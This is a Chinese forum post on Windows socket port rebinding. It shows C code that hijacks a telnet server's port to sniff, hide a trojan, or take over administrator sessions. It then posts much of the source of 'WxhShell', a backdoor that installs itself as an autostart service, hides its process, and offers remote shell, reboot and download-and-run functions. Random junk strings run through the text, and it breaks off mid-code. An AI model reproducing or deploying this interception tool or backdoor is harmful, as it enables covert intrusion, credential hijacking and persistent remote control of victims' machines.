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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oF {u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g), t  
OkfnxknZ|  
  saddr.sin_family = AF_INET; qku}cWD9/_  
-kkp Ew\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); </-aG[Fi  
a"bael  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #.W^7}H  
?f&O4H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gv}J"anD  
}Jm~b9j  
  这意味着什么?意味着可以进行如下的攻击: D\-D ~G]x  
>#EOCo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ['JIMcD  
c6~<vV'}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ||^+(  
F$nc9x[S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @0&KM|+  
Ro :)N:C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IEeh9:Km  
`Ti?hQm/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uB>OS 1=  
6X[Mn2wYW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W`gzMx  
|@Sj:^cJD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l0nm>ps'D  
ZMGthI}~-  
  #include s MNhD/bb  
  #include E9~}%&  
  #include PCs`aVZ  
  #include    l,@rB+u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hyVBQhk  
  int main() %pBc]n@_  
  { :@]%n~x  
  WORD wVersionRequested; 45U!\mG  
  DWORD ret; ? uu,w  
  WSADATA wsaData; X3Yi|dyn T  
  BOOL val; 'wd&O03&  
  SOCKADDR_IN saddr; ~Hb2-V  
  SOCKADDR_IN scaddr; kmur={IR  
  int err; @;`d\lQ  
  SOCKET s; "[`/J?W  
  SOCKET sc; 2!Sl!x+i\'  
  int caddsize; Y"UB\_=  
  HANDLE mt; (K`@OwD  
  DWORD tid;   K(75)/  
  wVersionRequested = MAKEWORD( 2, 2 ); :e!3-#H  
  err = WSAStartup( wVersionRequested, &wsaData ); ,ocAB;K  
  if ( err != 0 ) { 7 (pl HW|  
  printf("error!WSAStartup failed!\n"); 9*;OHoDh  
  return -1; ihBIE  
  } vNSeNS@jxC  
  saddr.sin_family = AF_INET; D]NJ ^.X  
   5h@5.-}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L.Tu7+M4  
Kw87 0n<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |}D5q| d@n  
  saddr.sin_port = htons(23); kX "*kD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a2SXg A  
  { u5rHQA0%  
  printf("error!socket failed!\n");  Vl`!6.F3  
  return -1; S:{`eDk\A_  
  } q:<vl^<j  
  val = TRUE; iCNJ%AZ H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EPd   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QQ\\:]iM  
  { cxpG6c  
  printf("error!setsockopt failed!\n"); .M([n-  
  return -1; gtRVXgI  
  } bTc^ huP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ufvjW]   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DT[WO_=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  4 `]  
\%Lj !\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^7iP!-w/  
  { >TG#  
  ret=GetLastError(); L17{W4  
  printf("error!bind failed!\n"); 5 [X,?  
  return -1; +Y"HbNz  
  } W-<`Vo'  
  listen(s,2); Rv Uw,=  
  while(1) 6ac_AsFK  
  { a Juv{  
  caddsize = sizeof(scaddr); 8/ zv3.+[  
  //接受连接请求 m_h$fT8 _  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >Y=qSg>Ik  
  if(sc!=INVALID_SOCKET) $/"QYSF  
  { Z=9gok\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f[Xsri  
  if(mt==NULL) FE3uNfQs|  
  { EpB3s{B"  
  printf("Thread Creat Failed!\n"); DA^!aJ6iF  
  break; :Ny^-4-N  
  } f6`W(OiE  
  } m ;{(U Z  
  CloseHandle(mt); #Q$e%VJ(c1  
  } C=8IQl[^e  
  closesocket(s); `*y%[J,I#  
  WSACleanup(); 3v>w$6  
  return 0; ,jdTe?[*^  
  }   7}puj%JS /  
  DWORD WINAPI ClientThread(LPVOID lpParam) tu6<>  
  { <6.?:Jj  
  SOCKET ss = (SOCKET)lpParam; 4P}d/w?'KL  
  SOCKET sc; y/;DA=  
  unsigned char buf[4096]; dZuPR  
  SOCKADDR_IN saddr; Mw|lEctN0  
  long num; JQ9+kZ  
  DWORD val; .$a|&P=S  
  DWORD ret; 'RZ0,SK'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cS(=wC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?D['>Rzu  
  saddr.sin_family = AF_INET; _V(FHjY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  z uI7Px  
  saddr.sin_port = htons(23);  3 EOuJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FZtT2Z4&i  
  { L b-xc]  
  printf("error!socket failed!\n"); wo9`-o6  
  return -1; S~U5xM^s  
  } OlX#1W]  
  val = 100;  TUq ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -q&7q  
  { X/FRe[R  
  ret = GetLastError(); G6pR?K+  
  return -1; V)]lca  
  } KN'twPFq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \ 0.!al0  
  { 't+'rG6x  
  ret = GetLastError(); =Y*zF>#lP  
  return -1; =\)76xC20  
  } \?[m%$A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i4lB ]k  
  { >OKc\m2%Q  
  printf("error!socket connect failed!\n"); <.:mp1,8V  
  closesocket(sc); <vd}oiB@  
  closesocket(ss); 85BB{ T;  
  return -1; }c=YiH,o  
  } ??z&w`Yy,  
  while(1) ]0=THq\H  
  { 2/ejU,S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |y&vMx~t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y\Wp} }  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .t.4y. 97  
  num = recv(ss,buf,4096,0); ='6@^6y  
  if(num>0) p~OX1RBI  
  send(sc,buf,num,0); ?dmw z4k0  
  else if(num==0) n^` `)"  
  break; Y8for'  
  num = recv(sc,buf,4096,0); ,qj M1xkL$  
  if(num>0) T;v^BVn  
  send(ss,buf,num,0); kH?PEA! \  
  else if(num==0) !eP0b~$/^J  
  break; _ygdv\^Tet  
  } DTl&V|h$  
  closesocket(ss); BirnCfj/2  
  closesocket(sc); .&.L@CRH  
  return 0 ; ;iz3Bf1o  
  } zC`ediyu  
e#@u&+K/f  
f{U,kCv  
========================================================== ?f*>=;7=  
j-v/;7s/B  
下边附上一个代码,,WXhSHELL Sg1 ,9[pb  
m}t`43}QE  
========================================================== rEoOv  
wsgT`M'J[  
#include "stdafx.h" Yu:($//w  
o(D6  
#include <stdio.h> M $zt;7P|  
#include <string.h> O@>{%u  
#include <windows.h> at(gem  
#include <winsock2.h> (I;lE*>  
#include <winsvc.h> 3iw. yR  
#include <urlmon.h> TIxlLOs  
|;R-q8  
#pragma comment (lib, "Ws2_32.lib") =z'533C  
#pragma comment (lib, "urlmon.lib") G$s=P  
g_?bWm4br  
#define MAX_USER   100 // 最大客户端连接数 ~zDFL15w  
#define BUF_SOCK   200 // sock buffer JC9OL.Ob  
#define KEY_BUFF   255 // 输入 buffer [Vj|fy4  
:<uCi\9(  
#define REBOOT     0   // 重启 LG'1^W{a  
#define SHUTDOWN   1   // 关机 j6Au<P  
R^rA.7T  
#define DEF_PORT   5000 // 监听端口 ).jna`A,  
=cxG4R1x  
#define REG_LEN     16   // 注册表键长度 iOiXo6YE  
#define SVC_LEN     80   // NT服务名长度 Hnf?`j>  
Tvw(S q};  
// 从dll定义API 0 gr#<(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2>.>q9J(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'Me(qpsq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8xHjdQr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M] W5 %3do  
LP) IL~  
// wxhshell配置信息 wV'_{ /WM  
struct WSCFG { =<U'Jtu6'  
  int ws_port;         // 监听端口 sNJ?Z"5k1h  
  char ws_passstr[REG_LEN]; // 口令 \oO &c  
  int ws_autoins;       // 安装标记, 1=yes 0=no F2v9 XMi  
  char ws_regname[REG_LEN]; // 注册表键名 \$ :)Ka  
  char ws_svcname[REG_LEN]; // 服务名 E#n: d9WA:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f0g&=k{OD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \8`^QgV`@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EI@ep~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kv`5"pa7M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +'UxO'v3]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t_Ul;HVPS  
\p\rPf Y{>  
}; dq3"L!0u  
%Gm4,+8P3o  
// default Wxhshell configuration WiFZY*iu5  
struct WSCFG wscfg={DEF_PORT, >k(AQW5?  
    "xuhuanlingzhe", @@|H8mP}H  
    1, 3A el  
    "Wxhshell", HK<oNr.d52  
    "Wxhshell", hYh~[Kr^@^  
            "WxhShell Service", 6H:EBj54?  
    "Wrsky Windows CmdShell Service", >Yfo $S_  
    "Please Input Your Password: ", YrTjHIn~w  
  1, b<KKF'  
  "http://www.wrsky.com/wxhshell.exe", osTin*T.  
  "Wxhshell.exe" PAu/iqCH  
    }; QM'>)!8  
g")pvK[e  
// 消息定义模块 g'V,K\TG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EZ^M?awB4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^7C,GaDsn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h3;RVtS  
char *msg_ws_ext="\n\rExit."; Wl3fR[@3Q  
char *msg_ws_end="\n\rQuit."; OoR0>!x Z  
char *msg_ws_boot="\n\rReboot..."; 1JN/oq;  
char *msg_ws_poff="\n\rShutdown..."; k)JwCt.%  
char *msg_ws_down="\n\rSave to "; UbSD?Ew@35  
Y'o.`':\~  
char *msg_ws_err="\n\rErr!"; iD2>-yf  
char *msg_ws_ok="\n\rOK!"; hj[sxC>z5  
6dYUMqQ  
char ExeFile[MAX_PATH]; =Lr# *ep[  
int nUser = 0; >{juw&Uu  
HANDLE handles[MAX_USER]; J+*n}He,  
int OsIsNt; 8C2!Wwz`J8  
VB{G% !}  
SERVICE_STATUS       serviceStatus; 5va ;Ol4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =eG:Scoug?  
m`/!7wQs  
// 函数声明 [ ]=}0l<J  
int Install(void); U &y?3  
int Uninstall(void); sB`zk[ R;  
int DownloadFile(char *sURL, SOCKET wsh); fh e%5#3  
int Boot(int flag); 2graLJ?9Z  
void HideProc(void); ">S.~'ds  
int GetOsVer(void); +6 x:+9S  
int Wxhshell(SOCKET wsl); E)F"!56lV  
void TalkWithClient(void *cs); If(IG]>`D  
int CmdShell(SOCKET sock); +IfU 5&5<  
int StartFromService(void); ~kPZh1n`  
int StartWxhshell(LPSTR lpCmdLine); jVdB- y/r  
u1 (8a%ZC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BmFs6{>~c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n\H.NL)  
6-uB[$ko  
// 数据结构和表定义 Z6oA>D  
SERVICE_TABLE_ENTRY DispatchTable[] = u/L\e.4  
{ JKs&!!  
{wscfg.ws_svcname, NTServiceMain}, ?:sQ]S/Er  
{NULL, NULL} <US!XMrCg  
}; XJi^gT N  
h`/1JjP  
// 自我安装 Toc="F`SW  
int Install(void) W>`#`u  
{ .R {P%r  
  char svExeFile[MAX_PATH]; B!z5P" C(~  
  HKEY key; I?i,21:5  
  strcpy(svExeFile,ExeFile); CT#N9  
!Ql&Ls  
// 如果是win9x系统,修改注册表设为自启动 d!]_n|B@9  
if(!OsIsNt) { JD$;6Jv3P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?TVR{e:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -pm^k-%v  
  RegCloseKey(key); {V~G r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5R7DD5c[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ ?Z :m  
  RegCloseKey(key); o9uir"=  
  return 0; {F+iL&e)  
    } n:[GK_  
  } >vY5%%}  
} j /=4f�  
else { .[4Dv t|>6  
>D/+04w  
// 如果是NT以上系统,安装为系统服务 B>W!RyH8o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2s:$4]K D  
if (schSCManager!=0) `.a~G y  
{ H:M;H =0  
  SC_HANDLE schService = CreateService KN9e""  
  ( Acib<Mi2!-  
  schSCManager, 5 MD=o7O^  
  wscfg.ws_svcname, tB7g.)yZb  
  wscfg.ws_svcdisp, x(/{]$h  
  SERVICE_ALL_ACCESS, u|]`gsFZ\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %t\ ~3pw=  
  SERVICE_AUTO_START, p8Wik<'^  
  SERVICE_ERROR_NORMAL, |v%xOl  
  svExeFile, o>Jr6: D(  
  NULL, EAM2t|M G.  
  NULL, YX:[],FP  
  NULL, !o&b:7  
  NULL, $'>h7].  
  NULL s4{WPU9  
  ); JgY#W1>  
  if (schService!=0) /xcl0oe(  
  { &*wc` U  
  CloseServiceHandle(schService); Da"GYEC  
  CloseServiceHandle(schSCManager); csay\Q{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k3B-;%3I;  
  strcat(svExeFile,wscfg.ws_svcname); B)4>:j:{?W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )mw&e}jRV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N/&t) 7  
  RegCloseKey(key); 41V}6+$g  
  return 0; +Qe&#"O0  
    } h^$ c  
  } dLn Md0  
  CloseServiceHandle(schSCManager); =Wj{J.7mf]  
} i+HHOT  
} x<%V&<z1g  
U}Aoz|  
return 1; J_Pb R b  
} E|fQbkfw  
m@){@i2.  
// 自我卸载 <ny)yK  
int Uninstall(void) !3'&_vmG$  
{ yl[6b1  
  HKEY key; bM"crRG"  
e2PM^1{_  
if(!OsIsNt) { (G 3S+T 9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x:O;Z~ |.  
  RegDeleteValue(key,wscfg.ws_regname); 12,,gwh  
  RegCloseKey(key); #c:b8rw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZBAtRs  
  RegDeleteValue(key,wscfg.ws_regname); APA:K9jD  
  RegCloseKey(key); gP?uLnzvi  
  return 0; -O?}-6,_Z  
  } `Mp-4)mn  
} z_LN*u  
} $M=W`E[g  
else { }}'0r2S  
V]$Tbxg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b0_Ih6  
if (schSCManager!=0) It/IDPx4ga  
{ w_hGWpm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7FiQTS B:  
  if (schService!=0) xiW;Y{kZ  
  { Q{0!N8']"  
  if(DeleteService(schService)!=0) { .oNs8._:  
  CloseServiceHandle(schService); Cg! ]x o  
  CloseServiceHandle(schSCManager); h NCoX*icd  
  return 0; |NZVm}T  
  } \Y{^Q7!>:8  
  CloseServiceHandle(schService); &m>sGCZ  
  } c)tG1|Og]  
  CloseServiceHandle(schSCManager); voHFU#Z$  
} WTcrfs)T  
} Zh]FL8[ nc  
Do&/+Ssnu  
return 1; <+oTYPgD9  
} 9a*}&fL[  
2-<i#nA3  
// 从指定url下载文件 J~jR`2+r  
int DownloadFile(char *sURL, SOCKET wsh) %fyah}=  
{ /bd1Bi  
  HRESULT hr; LPNJuz  
char seps[]= "/"; u#l@:p  
char *token; 8sG0HI$f+  
char *file; rI E m  
char myURL[MAX_PATH]; TvzqJ=  
char myFILE[MAX_PATH]; ;m+*R/  
Oa'DVfw2J  
strcpy(myURL,sURL); ,L"1Ah  
  token=strtok(myURL,seps); h!L/ZeRaV  
  while(token!=NULL) AMhHq/Dw  
  { m*d {pX  
    file=token; Yc,qXK-  
  token=strtok(NULL,seps); B7fV_-p:G  
  } [JY1|N  
6jKZ.S+s)  
GetCurrentDirectory(MAX_PATH,myFILE); GuV.7&!x  
strcat(myFILE, "\\"); ,y+}0q-Ou  
strcat(myFILE, file); b5MCOW1+  
  send(wsh,myFILE,strlen(myFILE),0); /Y>$w$S  
send(wsh,"...",3,0); !4(X9}a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4[ 7) $  
  if(hr==S_OK) K6=i\   
return 0; {v,O  
else ue5C ]  
return 1; E26zw9d  
Sl8A=Ez  
} h}k/okG  
Me HlxI  
// 系统电源模块 #]iSh(|8  
int Boot(int flag) 6Ch [!=p{  
{ DO#!ce  
  HANDLE hToken; f+/AD  
  TOKEN_PRIVILEGES tkp; |Mj2lZS  
(W~')A"hC'  
  if(OsIsNt) { \D9J!K82  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oM&}akPE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]}wo$7pO  
    tkp.PrivilegeCount = 1; _dgS@n;6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5ir[}I^z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P,|%7'?Y  
if(flag==REBOOT) { ]>33sb S6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JfJLJ(}  
  return 0; I,*zZNv Ri  
} atW=xn  
else { UkE  fuH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g/o@,_  
  return 0; `FjU2 O  
} J 8z|ua  
  } < ] ~FX 25  
  else { <}@*i  
if(flag==REBOOT) { XA&Vtgu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oV)#s!  
  return 0; DHUK_#!  
} |# _F  
else { 'UYxVh9D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m0I)_R#X[  
  return 0; |L@&plyB-  
} 00?_10x)  
} aDV~T24  
)O xsasn)M  
return 1; /E/Z0<l7  
} qSg#:;(O  
jf`QoK  
// win9x进程隐藏模块 S~~G0GiW  
void HideProc(void) "~1{|lj|)  
{ Y ,Iv<Hg  
\F$Vm'f_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r9nyEzk  
  if ( hKernel != NULL ) v0D~zV"<y  
  { ; i)NP X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'F\@KE -d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5Iql%~_x  
    FreeLibrary(hKernel); K}vP0O}  
  } DLigpid  
"Je*70LG#  
return; PQu_]cXI  
} Ix-bJE6+I,  
> FVBn;1  
// 获取操作系统版本 {Dc{e5K  
int GetOsVer(void) Io|3zE*<  
{ m| /?((s  
  OSVERSIONINFO winfo; h U3!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sew0n`d1  
  GetVersionEx(&winfo); v%ldg833l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N;YAG#'9~_  
  return 1; \]j{  
  else nY>UYSv  
  return 0;  {"RUiL^  
} 4Bn <L&@/  
}f l4^F  
// 客户端句柄模块 S%^*h{9u"  
int Wxhshell(SOCKET wsl) %kHeU=  
{ 0eGz|J*7  
  SOCKET wsh; wM-I*<L>  
  struct sockaddr_in client; 5~,/VV  
  DWORD myID; ^=CO gO]e  
BF="gZoU<  
  while(nUser<MAX_USER) -4%{Jb-1  
{ g< F7UA  
  int nSize=sizeof(client); &>@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hT=6XO od4  
  if(wsh==INVALID_SOCKET) return 1; :t7M'BSm2z  
pie,^-_.g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^69ZX61vt  
if(handles[nUser]==0) 8\N`2mPt  
  closesocket(wsh); >FR;Ux~a  
else A-&'/IHR"B  
  nUser++; )YtdU(^J$  
  } ?;bsg 9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JO3x#1~;_  
qg`8f?  
  return 0; 6>X9|w  
} 5DI&pR1eZ  
<>Nq ]WqA  
// 关闭 socket ?o D]J  
void CloseIt(SOCKET wsh) @VzD> ?)  
{ ~S85+OJ;M  
closesocket(wsh); pzQWr*5a  
nUser--; kKFhbHUZa  
ExitThread(0); (}4]U=/nV  
} yUyx&Y/  
WZ A8D0[  
// 客户端请求句柄 fz[-pJ5[  
void TalkWithClient(void *cs) _Nx#)(x  
{ o^\L41x3  
C$<['D?8  
  SOCKET wsh=(SOCKET)cs; ,. K}uW  
  char pwd[SVC_LEN]; IyV%tOy  
  char cmd[KEY_BUFF]; Z ? F*Z0y  
char chr[1]; (6Y.|u]bq  
int i,j;  EOn[!  
+kj d;u#  
  while (nUser < MAX_USER) { ]\.3<^  
3G.-JLhs  
if(wscfg.ws_passstr) { s|O4 >LsG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <5xlP:Cx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O-N@HZC  
  //ZeroMemory(pwd,KEY_BUFF); tLD(%s_  
      i=0; K:JM*4W  
  while(i<SVC_LEN) { A7hWAq  
a3Fe42G2c|  
  // 设置超时 '",+2=JJ  
  fd_set FdRead; }#Q?\  
  struct timeval TimeOut; 6p}dl>T_y  
  FD_ZERO(&FdRead); ar%!h~  
  FD_SET(wsh,&FdRead); 2," (  
  TimeOut.tv_sec=8; p%]ZG,  
  TimeOut.tv_usec=0; Jg2*$gL;_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?O|CY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UWPzRk#s"  
l2S1?*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3c|u2Pl  
  pwd=chr[0]; m35$4  
  if(chr[0]==0xd || chr[0]==0xa) { ;+Mee ^E>!  
  pwd=0; % k}+t3aF  
  break; X%lk] &2  
  } HC$rC"f  
  i++; o6@`aU  
    } s~)I1G  
+*')0I  
  // 如果是非法用户,关闭 socket .zQ'}H1.C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'k1vV  
} |{j\7G*5  
*$Tz g!/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .271at#-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p4sU:  
7A6:*  
while(1) { tDQo1,(oY  
z"PU`v  
  ZeroMemory(cmd,KEY_BUFF); Vgg' 5o&.  
$psPNJG  
      // 自动支持客户端 telnet标准   iYR`|PJi  
  j=0; 7FYq6wi  
  while(j<KEY_BUFF) { vk K8D#K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _]"uq/UWp  
  cmd[j]=chr[0]; q Xj]O3 mm  
  if(chr[0]==0xa || chr[0]==0xd) { >713H!uj  
  cmd[j]=0; 62Q`&n6  
  break; ~ ~U,  
  } l2ww3)Z  
  j++; Y2&hf6BE  
    } } >z l  
&f_ua)cyY  
  // 下载文件 ` & {  
  if(strstr(cmd,"http://")) { /8Xd2-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ig}H7U2q@  
  if(DownloadFile(cmd,wsh)) _2 Hehw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YX,xC-37y  
  else mzH3Q564  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :3 p&h[M  
  } @Z[XV"w|  
  else { k>W}9^ cK  
& Do|Hw  
    switch(cmd[0]) { #}8 x  
  [`/d$V!e  
  // 帮助 %;-r->  
  case '?': { L`@)*x)~R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E!]d?t3b  
    break; ;]I~AGH:  
  } *m.4)2u=  
  // 安装 = t!$72g\  
  case 'i': { +T*]!9%<`:  
    if(Install()) ^Sj*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-l\&V++F  
    else i0py5Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : kw14?]_  
    break; 9|5>?'CqP  
    } *If ]f0?%  
  // 卸载 vWq/A.  
  case 'r': { G W~ZmK  
    if(Uninstall()) XMi)PXs$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lDF26<<\`  
    else ~X2 cTG!,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ov%.+5P  
    break; Y. 1dk  
    } j"wbq-n,7  
  // 显示 wxhshell 所在路径 Q|&Wcxq2!  
  case 'p': { cjyb:gAO  
    char svExeFile[MAX_PATH]; $?Z-BD1  
    strcpy(svExeFile,"\n\r"); 0?/vcsO  
      strcat(svExeFile,ExeFile); dePI&z:  
        send(wsh,svExeFile,strlen(svExeFile),0); LvbS")  
    break; -5.~POO  
    } NWt5)xl  
  // 重启 MgG_D6tDM  
  case 'b': { Ua\<oD79]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yIG*  
    if(Boot(REBOOT)) 0OF]|hH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %LZ-i?DL4Q  
    else { 3lG=.yD  
    closesocket(wsh); !^_G~`r$2J  
    ExitThread(0);  Zzea  
    } IKVS7m  
    break; h6uv7n~4  
    } (8d"G9R(  
  // 关机 J]mq|vE  
  case 'd': { |:G`f8q9  
